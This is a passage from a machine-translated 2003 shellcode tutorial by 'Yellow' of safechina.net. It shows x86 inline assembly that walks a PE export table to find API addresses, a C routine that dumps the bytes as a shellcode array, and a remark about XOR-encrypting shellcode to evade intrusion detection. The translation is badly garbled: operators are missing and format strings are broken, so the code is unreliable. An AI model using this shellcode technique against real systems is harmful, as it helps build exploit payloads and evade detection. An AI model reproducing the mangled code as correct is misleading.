MOV ECX, Flen // Compare characters one by one, if the same is found, pay attention to the ECX value here

CLD

REP CMPSB

JNE FINDNEXT / / If the current function is not a specified function, look for the next one

Add ESP, 4 // If the lookup is successful, clear the ECX used to control the outer loop, ready to return

MOV EAX, [IED]

MOV EAX, [EAX 0x1c]

Add Eax, ImageBase // Get the function address table

SHL COUNT, 2 / / According to the function index calculation function address pointer = function address table base address (function index * 4)

Add Eax, Count

MOV EAX, [EAX] // Get the relative offset of the function address

Add eax, imagebase // calculate function true address and return to the caller via EAX

JMP Found

FINDNEXT:

INC Count // Record Function Index

Add [funnameArray], 4 // Next function name pointer

Mov Eax, FunnameArray

POP ECX // Restore Press ECX (Numberoffunctions), counting cycles

Loop Findloop // If the ECX is not 0, it is decremented and returned to Findloop, look for later

NOTFound:

XOR EAX, Eax // If not found, return 0

Found:

RET

// SHELLCODE end identifier

_EMIT '*'

_EMIT '*'

}

}

Void Aboutme (Void)

{

Printf ("/ T / N");

Printf ("/ T Shellcode Demo! / N");

Printf ("/ T Code by Yellow / N");

PRINTF ("/ T Date: 2003-12-21 / N");

Printf ("/ t email: Yellow@safechina.net / n");

Printf ("/ T Home Page:

www.safechina.net / n ");

Printf ("/ T / N");

}

Void Printsc (Unsigned Char * SC)

{

INT x = 0;

Printf ("unsigned char shellcode [] = {");

While (1)

{

IF ((* SC == '*') && (* (SC 1) == '*')) Break; if (! (x % 10)) Printf ("/ n / t");

Printf ("0x% 0.2x,", * SC );

}

Printf ("/ n}; / ntotal% D Bytes / R / N", X 1);

}

Int main (void)

{

UNSIGNED Char * P = shellcodefun;

Unsigned int K = 0;

IF (* p == 0xe9)

{

K = * (unsigned int *) ( P);

(int) p = k;

(int) P = 4;

}

PRINTSC (P);

Aboutme ();

Getch ();

}

/

Note I here I have no demonstration of shellcode encryption technology, and now shellcode encryption is mostly the operation of XOR, basically relatively simple.

However, in order to escape the "intrusion detection system", I should use a better encryption method, I think there will be some relevant technical articles in the future!

OK! I have already demonstrated so much, I think your gain is not small! As the saying goes, "Master", practice in individual, "Shellcode's most critical

Technology We have already mastered, as for how to achieve a feature-rich shellcode, look at your own development technology and experience!

-------------------------------------------------- ------------------------------------------------

At last

When I first study shellcode, I was worried about the Shellcode tutorial that could be introduced to beginners, so I was completed in me.

After learning, PE and KERNEL32 address, I immediately wrote this article, I hope to help the majority of beginners! See you to go to Christmas, Yellow

Here, everyone is happy Christmas, always happy, always young! May China's security technology is on the first floor!

4, reference information.

5, keyword:

General shellcode, hacker programming technology, PE extraction table, kernel32.dll address, structured exception handling, SEH, overflow, Overflow, China Security Net

Yellow from

Www.safechina.net

December 21, 2003

.

转载请注明原文地址:https://www.9cbs.com/read-11923.html

New Post(0)